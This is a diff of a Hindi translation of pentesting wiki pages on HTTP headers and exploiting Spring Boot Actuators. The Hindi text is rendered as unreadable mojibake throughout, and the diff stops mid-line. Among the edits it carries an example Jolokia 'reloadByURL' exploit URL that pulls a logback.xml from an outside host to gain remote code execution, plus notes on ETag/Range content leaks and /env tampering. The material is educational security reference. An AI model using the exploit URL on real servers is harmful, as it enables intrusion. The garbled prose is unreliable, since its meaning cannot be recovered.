рджрд╢рдорд▓рд╡ рд╕рдВрдЦреНрдпрд╛ рдореЗрдВ рдмрд╛рдЗрдЯреНрд╕ред - **`Content-Type`**: рд╕рдВрд╕рд╛рдзрди рдХреЗ рдореАрдбрд┐рдпрд╛ рдкреНрд░рдХрд╛рд░ рдХреЛ рдЗрдВрдЧрд┐рдд рдХрд░рддрд╛ рд╣реИ -- **`Content-Encoding`**: рд╕рдВрдкреАрдбрд╝рди рдПрд▓реНрдЧреЛрд░рд┐рджрдо рдХреЛ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред -- **`Content-Language`**: рджрд░реНрд╢рдХреЛрдВ рдХреЗ рд▓рд┐рдП рд▓рдХреНрд╖рд┐рдд рдорд╛рдирд╡ рднрд╛рд╖рд╛(рдУрдВ) рдХрд╛ рд╡рд░реНрдгрди рдХрд░рддрд╛ рд╣реИ, рддрд╛рдХрд┐ рдпрд╣ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЛ рдЙрдирдХреЗ рдЕрдкрдиреЗ рдкрд╕рдВрджреАрджрд╛ рднрд╛рд╖рд╛ рдХреЗ рдЕрдиреБрд╕рд╛рд░ рднреЗрдж рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред +- **`Content-Encoding`**: рд╕рдВрдХреБрдЪрди рдПрд▓реНрдЧреЛрд░рд┐рджрдо рдХреЛ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред +- **`Content-Language`**: рдорд╛рдирд╡ рднрд╛рд╖рд╛(рдУрдВ) рдХрд╛ рд╡рд░реНрдгрди рдХрд░рддрд╛ рд╣реИ рдЬреЛ рджрд░реНрд╢рдХреЛрдВ рдХреЗ рд▓рд┐рдП рд▓рдХреНрд╖рд┐рдд рд╣реИ, рддрд╛рдХрд┐ рдпрд╣ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЛ рдЙрдирдХреЗ рдЕрдкрдиреЗ рдкрд╕рдВрджреАрджрд╛ рднрд╛рд╖рд╛ рдХреЗ рдЕрдиреБрд╕рд╛рд░ рднреЗрдж рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗред - **`Content-Location`**: рд▓реМрдЯрд╛рдП рдЧрдП рдбреЗрдЯрд╛ рдХреЗ рд▓рд┐рдП рдПрдХ рд╡реИрдХрд▓реНрдкрд┐рдХ рд╕реНрдерд╛рди рдХреЛ рдЗрдВрдЧрд┐рдд рдХрд░рддрд╛ рд╣реИред -рдкреЗрдВрдЯреЗрд╕реНрдЯ рдХреЗ рджреГрд╖реНрдЯрд┐рдХреЛрдг рд╕реЗ рдпрд╣ рдЬрд╛рдирдХрд╛рд░реА рдЖрдорддреМрд░ рдкрд░ "рд╡реНрдпрд░реНрде" рд╣реЛрддреА рд╣реИ, рд▓реЗрдХрд┐рди рдпрджрд┐ рд╕рдВрд╕рд╛рдзрди **401** рдпрд╛ **403** рджреНрд╡рд╛рд░рд╛ **рд╕рдВрд░рдХреНрд╖рд┐рдд** рд╣реИ рдФрд░ рдЖрдк рдЗрд╕ **рдЬрд╛рдирдХрд╛рд░реА** рдХреЛ **рдкреНрд░рд╛рдкреНрдд** рдХрд░рдиреЗ рдХрд╛ рдХреЛрдИ **рддрд░реАрдХрд╛** рдЦреЛрдЬ рд╕рдХрддреЗ рд╣реИрдВ, рддреЛ рдпрд╣ **рджрд┐рд▓рдЪрд╕реНрдк** рд╣реЛ рд╕рдХрддрд╛ рд╣реИред\ +рдкреЗрдВрдЯреЗрд╕реНрдЯ рдХреЗ рджреГрд╖реНрдЯрд┐рдХреЛрдг рд╕реЗ рдпрд╣ рдЬрд╛рдирдХрд╛рд░реА рдЖрдорддреМрд░ рдкрд░ "рд╡реНрдпрд░реНрде" рд╣реЛрддреА рд╣реИ, рд▓реЗрдХрд┐рди рдпрджрд┐ рд╕рдВрд╕рд╛рдзрди **401** рдпрд╛ **403** рджреНрд╡рд╛рд░рд╛ **рд╕рдВрд░рдХреНрд╖рд┐рдд** рд╣реИ рдФрд░ рдЖрдк рдЗрд╕ **рдЬрд╛рдирдХрд╛рд░реА** рдХреЛ **рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ** рдХрд╛ рдХреЛрдИ **рддрд░реАрдХрд╛** рдЦреЛрдЬ рд╕рдХрддреЗ рд╣реИрдВ, рддреЛ рдпрд╣ **рджрд┐рд▓рдЪрд╕реНрдк** рд╣реЛ рд╕рдХрддрд╛ рд╣реИред\ рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдПрдХ HEAD рдЕрдиреБрд░реЛрдз рдореЗрдВ **`Range`** рдФрд░ **`Etag`** рдХрд╛ рд╕рдВрдпреЛрдЬрди рдкреГрд╖реНрда рдХреА рд╕рд╛рдордЧреНрд░реА рдХреЛ HEAD рдЕрдиреБрд░реЛрдзреЛрдВ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд▓реАрдХ рдХрд░ рд╕рдХрддрд╛ рд╣реИ: -- `Range: bytes=20-20` рд╣реЗрдбрд░ рдХреЗ рд╕рд╛рде рдПрдХ рдЕрдиреБрд░реЛрдз рдФрд░ рдПрдХ рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдЬрд┐рд╕рдореЗрдВ `ETag: W/"1-eoGvPlkaxxP4HqHv6T3PNhV9g3Y"` рд╣реИ, рдпрд╣ рд▓реАрдХ рдХрд░ рд░рд╣рд╛ рд╣реИ рдХрд┐ рдмрд╛рдЗрдЯ 20 рдХрд╛ SHA1 `ETag: eoGvPlkaxxP4HqHv6T3PNhV9g3Y` рд╣реИред +- рдПрдХ рдЕрдиреБрд░реЛрдз рдЬрд┐рд╕рдореЗрдВ рд╣реЗрдбрд░ `Range: bytes=20-20` рд╣реЛ рдФрд░ рдПрдХ рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдЬрд┐рд╕рдореЗрдВ `ETag: W/"1-eoGvPlkaxxP4HqHv6T3PNhV9g3Y"` рд╣реЛ, рдпрд╣ рд▓реАрдХ рдХрд░ рд░рд╣рд╛ рд╣реИ рдХрд┐ рдмрд╛рдЗрдЯ 20 рдХрд╛ SHA1 `ETag: eoGvPlkaxxP4HqHv6T3PNhV9g3Y` рд╣реИ ## рд╕рд░реНрд╡рд░ рдЬрд╛рдирдХрд╛рд░реА @@ -109,11 +109,11 @@ ## рдирд┐рдпрдВрддреНрд░рдг - **`Allow`**: рдпрд╣ рд╣реЗрдбрд░ рдпрд╣ рд╕рдВрдкреНрд░реЗрд╖рд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдХрд┐ рдПрдХ рд╕рдВрд╕рд╛рдзрди рдХреМрди рд╕реЗ HTTP рд╡рд┐рдзрд┐рдпреЛрдВ рдХреЛ рд╕рдВрднрд╛рд▓ рд╕рдХрддрд╛ рд╣реИред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдЗрд╕реЗ `Allow: GET, POST, HEAD` рдХреЗ рд░реВрдк рдореЗрдВ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рдЬреЛ рдЗрдВрдЧрд┐рдд рдХрд░рддрд╛ рд╣реИ рдХрд┐ рд╕рдВрд╕рд╛рдзрди рдЗрди рд╡рд┐рдзрд┐рдпреЛрдВ рдХрд╛ рд╕рдорд░реНрдерди рдХрд░рддрд╛ рд╣реИред -- **`Expect`**: рдХреНрд▓рд╛рдЗрдВрдЯ рджреНрд╡рд╛рд░рд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рддрд╛рдХрд┐ рдЕрдиреБрд░реЛрдз рдХреЛ рд╕рдлрд▓рддрд╛рдкреВрд░реНрд╡рдХ рд╕рдВрд╕рд╛рдзрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╕рд░реНрд╡рд░ рдХреЛ рдЬреЛ рдЕрдкреЗрдХреНрд╖рд╛рдПрдБ рдкреВрд░реА рдХрд░рдиреА рд╣реИрдВ, рдЙрдиреНрд╣реЗрдВ рд╕рдВрдкреНрд░реЗрд╖рд┐рдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗред рдПрдХ рд╕рд╛рдорд╛рдиреНрдп рдЙрдкрдпреЛрдЧ рдорд╛рдорд▓рд╛ `Expect: 100-continue` рд╣реЗрдбрд░ рд╕реЗ рд╕рдВрдмрдВрдзрд┐рдд рд╣реИ, рдЬреЛ рд╕рдВрдХреЗрдд рдХрд░рддрд╛ рд╣реИ рдХрд┐ рдХреНрд▓рд╛рдЗрдВрдЯ рдПрдХ рдмрдбрд╝рд╛ рдбреЗрдЯрд╛ рдкреЗрд▓реЛрдб рднреЗрдЬрдиреЗ рдХрд╛ рдЗрд░рд╛рджрд╛ рд░рдЦрддрд╛ рд╣реИред рдХреНрд▓рд╛рдЗрдВрдЯ рдкреНрд░рд╕рд╛рд░рдг рдХреЗ рд╕рд╛рде рдЖрдЧреЗ рдмрдврд╝рдиреЗ рд╕реЗ рдкрд╣рд▓реЗ `100 (Continue)` рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдХреА рддрд▓рд╛рд╢ рдХрд░рддрд╛ рд╣реИред рдпрд╣ рддрдВрддреНрд░ рдиреЗрдЯрд╡рд░реНрдХ рдЙрдкрдпреЛрдЧ рдХреЛ рдЕрдиреБрдХреВрд▓рд┐рдд рдХрд░рдиреЗ рдореЗрдВ рдорджрдж рдХрд░рддрд╛ рд╣реИ рд╕рд░реНрд╡рд░ рдХреА рдкреБрд╖реНрдЯрд┐ рдХреА рдкреНрд░рддреАрдХреНрд╖рд╛ рдХрд░рдХреЗред +- **`Expect`**: рдХреНрд▓рд╛рдЗрдВрдЯ рджреНрд╡рд╛рд░рд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рддрд╛рдХрд┐ рдпрд╣ рд╕рдВрдкреНрд░реЗрд╖рд┐рдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗ рдХрд┐ рд╕рд░реНрд╡рд░ рдХреЛ рдЕрдиреБрд░реЛрдз рдХреЛ рд╕рдлрд▓рддрд╛рдкреВрд░реНрд╡рдХ рд╕рдВрд╕рд╛рдзрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рди рдЕрдкреЗрдХреНрд╖рд╛рдУрдВ рдХреЛ рдкреВрд░рд╛ рдХрд░рдирд╛ рдЪрд╛рд╣рд┐рдПред рдПрдХ рд╕рд╛рдорд╛рдиреНрдп рдЙрдкрдпреЛрдЧ рдорд╛рдорд▓рд╛ `Expect: 100-continue` рд╣реЗрдбрд░ рд╕реЗ рд╕рдВрдмрдВрдзрд┐рдд рд╣реИ, рдЬреЛ рд╕рдВрдХреЗрдд рдХрд░рддрд╛ рд╣реИ рдХрд┐ рдХреНрд▓рд╛рдЗрдВрдЯ рдПрдХ рдмрдбрд╝рд╛ рдбреЗрдЯрд╛ рдкреЗрд▓реЛрдб рднреЗрдЬрдиреЗ рдХрд╛ рдЗрд░рд╛рджрд╛ рд░рдЦрддрд╛ рд╣реИред рдХреНрд▓рд╛рдЗрдВрдЯ рдЯреНрд░рд╛рдВрд╕рдорд┐рд╢рди рдХреЗ рдЖрдЧреЗ рдмрдврд╝рдиреЗ рд╕реЗ рдкрд╣рд▓реЗ `100 (Continue)` рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдХреА рддрд▓рд╛рд╢ рдХрд░рддрд╛ рд╣реИред рдпрд╣ рддрдВрддреНрд░ рдиреЗрдЯрд╡рд░реНрдХ рдЙрдкрдпреЛрдЧ рдХреЛ рдЕрдиреБрдХреВрд▓рд┐рдд рдХрд░рдиреЗ рдореЗрдВ рдорджрдж рдХрд░рддрд╛ рд╣реИ рд╕рд░реНрд╡рд░ рдХреА рдкреБрд╖реНрдЯрд┐ рдХреА рдкреНрд░рддреАрдХреНрд╖рд╛ рдХрд░рдХреЗред ## рдбрд╛рдЙрдирд▓реЛрдб -- HTTP рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛рдУрдВ рдореЗрдВ **`Content-Disposition`** рд╣реЗрдбрд░ рдпрд╣ рдирд┐рд░реНрджреЗрд╢рд┐рдд рдХрд░рддрд╛ рд╣реИ рдХрд┐ рдХреНрдпрд╛ рдПрдХ рдлрд╝рд╛рдЗрд▓ рдХреЛ **inline** (рд╡реЗрдмрдкреГрд╖реНрда рдХреЗ рднреАрддрд░) рдкреНрд░рджрд░реНрд╢рд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рдирд╛ рдЪрд╛рд╣рд┐рдП рдпрд╛ **attachment** (рдбрд╛рдЙрдирд▓реЛрдб рдХрд┐рдпрд╛ рдЧрдпрд╛) рдХреЗ рд░реВрдк рдореЗрдВ рдорд╛рдирд╛ рдЬрд╛рдирд╛ рдЪрд╛рд╣рд┐рдПред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП: +- HTTP рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛рдУрдВ рдореЗрдВ **`Content-Disposition`** рд╣реЗрдбрд░ рдпрд╣ рдирд┐рд░реНрджреЗрд╢рд┐рдд рдХрд░рддрд╛ рд╣реИ рдХрд┐ рдХреНрдпрд╛ рдПрдХ рдлрд╝рд╛рдЗрд▓ рдХреЛ **inline** (рд╡реЗрдмрдкреГрд╖реНрда рдХреЗ рднреАрддрд░) рдкреНрд░рджрд░реНрд╢рд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рдирд╛ рдЪрд╛рд╣рд┐рдП рдпрд╛ рдПрдХ **рд╕рдВрд▓рдЧреНрдирдХ** (рдбрд╛рдЙрдирд▓реЛрдб рдХрд┐рдпрд╛ рдЧрдпрд╛) рдХреЗ рд░реВрдк рдореЗрдВ рдорд╛рдирд╛ рдЬрд╛рдирд╛ рдЪрд╛рд╣рд┐рдПред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП: ``` Content-Disposition: attachment; filename="filename.jpg" ``` @@ -129,7 +129,7 @@ Content-Disposition: attachment; filename="filename.jpg" ### **рд╡рд┐рд╢реНрд╡рд╕рдиреАрдп рдкреНрд░рдХрд╛рд░** -CSP рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд╡рд┐рд╢реНрд╡рд╕рдиреАрдп рдкреНрд░рдХрд╛рд░реЛрдВ рдХреЛ рд▓рд╛рдЧреВ рдХрд░рдХреЗ, рдЕрдиреБрдкреНрд░рдпреЛрдЧреЛрдВ рдХреЛ DOM XSS рд╣рдорд▓реЛрдВ рд╕реЗ рд╕реБрд░рдХреНрд╖рд┐рдд рд░рдЦрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рд╡рд┐рд╢реНрд╡рд╕рдиреАрдп рдкреНрд░рдХрд╛рд░ рдпрд╣ рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░рддреЗ рд╣реИрдВ рдХрд┐ рдХреЗрд╡рд▓ рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ рддреИрдпрд╛рд░ рдХрд┐рдП рдЧрдП рдСрдмреНрдЬреЗрдХреНрдЯреНрд╕, рдЬреЛ рд╕реНрдерд╛рдкрд┐рдд рд╕реБрд░рдХреНрд╖рд╛ рдиреАрддрд┐рдпреЛрдВ рдХреЗ рдЕрдиреБрд░реВрдк рд╣реИрдВ, рдЦрддрд░рдирд╛рдХ рд╡реЗрдм API рдХреЙрд▓ рдореЗрдВ рдЙрдкрдпреЛрдЧ рдХрд┐рдП рдЬрд╛ рд╕рдХрддреЗ рд╣реИрдВ, рдЗрд╕ рдкреНрд░рдХрд╛рд░ рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ JavaScript рдХреЛрдб рдХреЛ рд╕реБрд░рдХреНрд╖рд┐рдд рдХрд░рддреЗ рд╣реИрдВред +CSP рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд╡рд┐рд╢реНрд╡рд╕рдиреАрдп рдкреНрд░рдХрд╛рд░реЛрдВ рдХреЛ рд▓рд╛рдЧреВ рдХрд░рдХреЗ, рдЕрдиреБрдкреНрд░рдпреЛрдЧреЛрдВ рдХреЛ DOM XSS рд╣рдорд▓реЛрдВ рд╕реЗ рд╕реБрд░рдХреНрд╖рд┐рдд рд░рдЦрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рд╡рд┐рд╢реНрд╡рд╕рдиреАрдп рдкреНрд░рдХрд╛рд░ рдпрд╣ рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░рддреЗ рд╣реИрдВ рдХрд┐ рдХреЗрд╡рд▓ рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ рддреИрдпрд╛рд░ рдХрд┐рдП рдЧрдП рдСрдмреНрдЬреЗрдХреНрдЯреНрд╕, рдЬреЛ рд╕реНрдерд╛рдкрд┐рдд рд╕реБрд░рдХреНрд╖рд╛ рдиреАрддрд┐рдпреЛрдВ рдХреЗ рдЕрдиреБрд░реВрдк рд╣реИрдВ, рдЦрддрд░рдирд╛рдХ рд╡реЗрдм API рдХреЙрд▓ рдореЗрдВ рдЙрдкрдпреЛрдЧ рдХрд┐рдП рдЬрд╛ рд╕рдХреЗрдВ, рдЗрд╕ рдкреНрд░рдХрд╛рд░ рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ JavaScript рдХреЛрдб рдХреЛ рд╕реБрд░рдХреНрд╖рд┐рдд рдХрд░рддреЗ рд╣реИрдВред ```javascript // Feature detection if (window.trustedTypes && trustedTypes.createPolicy) { @@ -160,7 +160,7 @@ X-Frame-Options: DENY ``` ### **Cross-Origin Resource Policy (CORP) рдФрд░ Cross-Origin Resource Sharing (CORS)** -CORP рдпрд╣ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдорд╣рддреНрд╡рдкреВрд░реНрдг рд╣реИ рдХрд┐ рдХреМрди рд╕реЗ рд╕рдВрд╕рд╛рдзрди рд╡реЗрдмрд╕рд╛рдЗрдЯреЛрдВ рджреНрд╡рд╛рд░рд╛ рд▓реЛрдб рдХрд┐рдП рдЬрд╛ рд╕рдХрддреЗ рд╣реИрдВ, рдХреНрд░реЙрд╕-рд╕рд╛рдЗрдЯ рд▓реАрдХ рдХреЛ рдХрдо рдХрд░рддреЗ рд╣реБрдПред рджреВрд╕рд░реА рдУрд░, CORS рдПрдХ рдЕрдзрд┐рдХ рд▓рдЪреАрд▓рд╛ рдХреНрд░реЙрд╕-рдУрд░рд┐рдЬрд┐рди рд╕рдВрд╕рд╛рдзрди рд╕рд╛рдЭрд╛ рдХрд░рдиреЗ рдХрд╛ рддрдВрддреНрд░ рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИ, рдХреБрдЫ рд╢рд░реНрддреЛрдВ рдХреЗ рддрд╣рдд рд╕рдорд╛рди-рдЙрддреНрд╕рд╡ рдиреАрддрд┐ рдХреЛ рдвреАрд▓рд╛ рдХрд░рддреЗ рд╣реБрдПред +CORP рдпрд╣ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдорд╣рддреНрд╡рдкреВрд░реНрдг рд╣реИ рдХрд┐ рдХреМрди рд╕реЗ рд╕рдВрд╕рд╛рдзрди рд╡реЗрдмрд╕рд╛рдЗрдЯреЛрдВ рджреНрд╡рд╛рд░рд╛ рд▓реЛрдб рдХрд┐рдП рдЬрд╛ рд╕рдХрддреЗ рд╣реИрдВ, рдХреНрд░реЙрд╕-рд╕рд╛рдЗрдЯ рд▓реАрдХ рдХреЛ рдХрдо рдХрд░рддреЗ рд╣реБрдПред рджреВрд╕рд░реА рдУрд░, CORS рдПрдХ рдЕрдзрд┐рдХ рд▓рдЪреАрд▓рд╛ рдХреНрд░реЙрд╕-рдУрд░рд┐рдЬрд┐рди рд╕рдВрд╕рд╛рдзрди рд╕рд╛рдЭрд╛ рдХрд░рдиреЗ рдХрд╛ рддрдВрддреНрд░ рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИ, рдХреБрдЫ рд╢рд░реНрддреЛрдВ рдХреЗ рддрд╣рдд рд╕рдорд╛рди-рдЙрддреНрдкрддреНрддрд┐ рдиреАрддрд┐ рдХреЛ рдвреАрд▓рд╛ рдХрд░рддреЗ рд╣реБрдПред ``` Cross-Origin-Resource-Policy: same-origin Access-Control-Allow-Origin: https://example.com diff --git a/src/network-services-pentesting/pentesting-web/spring-actuators.md b/src/network-services-pentesting/pentesting-web/spring-actuators.md index d67f9e881..9bc5ab3ee 100644 --- a/src/network-services-pentesting/pentesting-web/spring-actuators.md +++ b/src/network-services-pentesting/pentesting-web/spring-actuators.md @@ -6,7 +6,7 @@
-**From** [**https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png**](https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png)\*\*\*\* +**From** [**https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png**](https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png) ## Exploiting Spring Boot Actuators @@ -14,7 +14,7 @@ ### **Key Points:** -- Spring Boot Actuators рдРрд╕реЗ рдПрдВрдбрдкреЙрдЗрдВрдЯреНрд╕ рд░рдЬрд┐рд╕реНрдЯрд░ рдХрд░рддреЗ рд╣реИрдВ рдЬреИрд╕реЗ рдХрд┐ `/health`, `/trace`, `/beans`, `/env`, рдЖрджрд┐ред рд╕рдВрд╕реНрдХрд░рдг 1 рд╕реЗ 1.4 рдореЗрдВ, рдпреЗ рдПрдВрдбрдкреЙрдЗрдВрдЯреНрд╕ рдмрд┐рдирд╛ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдХреЗ рдЙрдкрд▓рдмреНрдз рд╣реИрдВред рд╕рдВрд╕реНрдХрд░рдг 1.5 рд╕реЗ рдЖрдЧреЗ, рдХреЗрд╡рд▓ `/health` рдФрд░ `/info` рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ рдЧреИрд░-рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рд╣реЛрддреЗ рд╣реИрдВ, рд▓реЗрдХрд┐рди рдбреЗрд╡рд▓рдкрд░реНрд╕ рдЕрдХреНрд╕рд░ рдЗрд╕ рд╕реБрд░рдХреНрд╖рд╛ рдХреЛ рдмрдВрдж рдХрд░ рджреЗрддреЗ рд╣реИрдВред +- Spring Boot Actuators рдРрд╕реЗ рдПрдВрдбрдкреЙрдЗрдВрдЯреНрд╕ рд░рдЬрд┐рд╕реНрдЯрд░ рдХрд░рддреЗ рд╣реИрдВ рдЬреИрд╕реЗ рдХрд┐ `/health`, `/trace`, `/beans`, `/env`, рдЖрджрд┐ред рд╕рдВрд╕реНрдХрд░рдг 1 рд╕реЗ 1.4 рдореЗрдВ, рдпреЗ рдПрдВрдбрдкреЙрдЗрдВрдЯреНрд╕ рдмрд┐рдирд╛ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдХреЗ рдЙрдкрд▓рдмреНрдз рд╣реИрдВред рд╕рдВрд╕реНрдХрд░рдг 1.5 рд╕реЗ рдЖрдЧреЗ, рдХреЗрд╡рд▓ `/health` рдФрд░ `/info` рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ рдЧреИрд░-рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рд╣реИрдВ, рд▓реЗрдХрд┐рди рдбреЗрд╡рд▓рдкрд░реНрд╕ рдЕрдХреНрд╕рд░ рдЗрд╕ рд╕реБрд░рдХреНрд╖рд╛ рдХреЛ рдмрдВрдж рдХрд░ рджреЗрддреЗ рд╣реИрдВред - рдХреБрдЫ Actuator рдПрдВрдбрдкреЙрдЗрдВрдЯреНрд╕ рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдбреЗрдЯрд╛ рдХреЛ рдЙрдЬрд╛рдЧрд░ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдпрд╛ рд╣рд╛рдирд┐рдХрд╛рд░рдХ рдХреНрд░рд┐рдпрд╛рдУрдВ рдХреА рдЕрдиреБрдорддрд┐ рджреЗ рд╕рдХрддреЗ рд╣реИрдВ: - `/dump`, `/trace`, `/logfile`, `/shutdown`, `/mappings`, `/env`, `/actuator/env`, `/restart`, рдФрд░ `/heapdump`ред - Spring Boot 1.x рдореЗрдВ, рдПрдХреНрдЯреНрдпреВрдПрдЯрд░реНрд╕ рдХреЛ рд░реВрдЯ URL рдХреЗ рддрд╣рдд рд░рдЬрд┐рд╕реНрдЯрд░ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЬрдмрдХрд┐ 2.x рдореЗрдВ, рдпреЗ `/actuator/` рдмреЗрд╕ рдкрде рдХреЗ рддрд╣рдд рд╣реЛрддреЗ рд╣реИрдВред @@ -23,12 +23,12 @@ 1. **Remote Code Execution via '/jolokia'**: - `/jolokia` рдПрдХреНрдЯреНрдпреВрдПрдЯрд░ рдПрдВрдбрдкреЙрдЗрдВрдЯ Jolokia рд▓рд╛рдЗрдмреНрд░реЗрд░реА рдХреЛ рдЙрдЬрд╛рдЧрд░ рдХрд░рддрд╛ рд╣реИ, рдЬреЛ MBeans рддрдХ HTTP рдкрд╣реБрдВрдЪ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред -- `reloadByURL` рдХреНрд░рд┐рдпрд╛ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рд▓реЙрдЧрд┐рдВрдЧ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдХреЛ рдПрдХ рдмрд╛рд╣рд░реА URL рд╕реЗ рдлрд┐рд░ рд╕реЗ рд▓реЛрдб рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рдЬреЛ рдЕрдВрдзрд╛ XXE рдпрд╛ рдХрд╕реНрдЯрдо XML рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд░рд┐рдореЛрдЯ рдХреЛрдб рдирд┐рд╖реНрдкрд╛рджрди рдХрд╛ рдХрд╛рд░рдг рдмрди рд╕рдХрддрд╛ рд╣реИред +- `reloadByURL` рдХреНрд░рд┐рдпрд╛ рдХрд╛ рдЙрдкрдпреЛрдЧ рд▓реЙрдЧрд┐рдВрдЧ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдХреЛ рдПрдХ рдмрд╛рд╣рд░реА URL рд╕реЗ рдлрд┐рд░ рд╕реЗ рд▓реЛрдб рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рдЬреЛ рдЕрдВрдзреЗ XXE рдпрд╛ рдХрд╕реНрдЯрдо XML рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд░рд┐рдореЛрдЯ рдХреЛрдб рдирд┐рд╖реНрдкрд╛рджрди рдХреА рдУрд░ рд▓реЗ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред - рдЙрджрд╛рд╣рд░рдг рдПрдХреНрд╕рдкреНрд▓реЙрдЗрдЯ URL: `http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml`ред 2. **Config Modification via '/env'**: -- рдпрджрд┐ Spring Cloud Libraries рдореМрдЬреВрдж рд╣реИрдВ, рддреЛ `/env` рдПрдВрдбрдкреЙрдЗрдВрдЯ рдкрд░реНрдпрд╛рд╡рд░рдгреАрдп рдЧреБрдгреЛрдВ рдореЗрдВ рд╕рдВрд╢реЛрдзрди рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред -- рдЧреБрдгреЛрдВ рдХрд╛ рд╣реЗрд░рдлреЗрд░ рдХрд░рдХреЗ рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХрд╛ рд▓рд╛рдн рдЙрдард╛рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рдЬреИрд╕реЗ рдХрд┐ Eureka serviceURL рдореЗрдВ XStream deserialization рдХреА рдХрдордЬреЛрд░реАред +- рдпрджрд┐ Spring Cloud Libraries рдореМрдЬреВрдж рд╣реИрдВ, рддреЛ `/env` рдПрдВрдбрдкреЙрдЗрдВрдЯ рдкрд░реНрдпрд╛рд╡рд░рдгреАрдп рдЧреБрдгреЛрдВ рдХреЛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред +- рдЧреБрдгреЛрдВ 